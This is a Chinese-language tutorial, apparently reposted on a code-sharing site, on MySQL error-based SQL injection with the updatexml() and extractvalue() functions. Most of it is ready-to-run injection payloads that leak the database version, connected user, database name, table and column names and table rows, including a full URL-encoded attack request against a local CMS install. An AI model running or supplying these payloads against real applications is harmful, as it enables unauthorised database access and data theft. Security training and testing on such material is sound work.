MYSQL updatexml報錯注入


updatexml()函數

updataxml()函數用法

UPDATEXML (XML_document, XPath_string, new_value);

第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc


第二個參數:XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網上查找教程。
第三個參數:new_value,String格式,替換查找到的符合條件的數據
作用:改變文檔中符合條件的節點

updatexml報錯注入用法

1.爆出數據庫的版本信息

and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

因為concat()是將其連接成一個字符串,不符合xpath_string格式,會出現格式錯誤而報錯,並會爆出 2.爆出連接用戶

and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

3.鏈接數據庫

and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

4.爆表

and updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0)
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=數據庫的十六進制表示 limit 0,1) ,0x7e),1)
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=0x7868 limit 0,1) ,0x7e),1)

5.爆列名

http://localhost/xhcms/index.php?r=content&cid=1%20and%20updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=0x7868%20and%20table_name=%200x6164776F7264%20limit%202,1),0x7e),1)
and%20updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=庫的十六進制表示%20and%20table_name=表的十六進制表示%20limit%202,1),0x7e),1)

6.查數據

and updatexml(1,concat(0x7e,(select 列名 from 表名 limit 0,1),0x7e),1)

extractvalue函數

ExtractValue(xml_frag, xpath_expr)
ExtractValue()接受兩個字符串參數,一個XML標記片段 xml_frag和一個XPath表達式 xpath_expr(也稱為 定位器); 它返回CDATA第一個文本節點的text(),該節點是XPath表達式匹配的元素的子元素。

第一個參數可以傳入目標xml文檔,第二個參數是用Xpath路徑法表示的查找路徑

例如:SELECT ExtractValue('<a><b><b/></a>', '/a/b'); 就是尋找前一段xml文檔內容中的a節點下的b節點,這里如果Xpath格式語法書寫錯誤的話,就會報錯。這里就是利用這個特性來獲得我們想要知道的內容。

 

 利用concat函數將想要獲得的數據庫內容拼接到第二個參數中,報錯時作為內容輸出。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM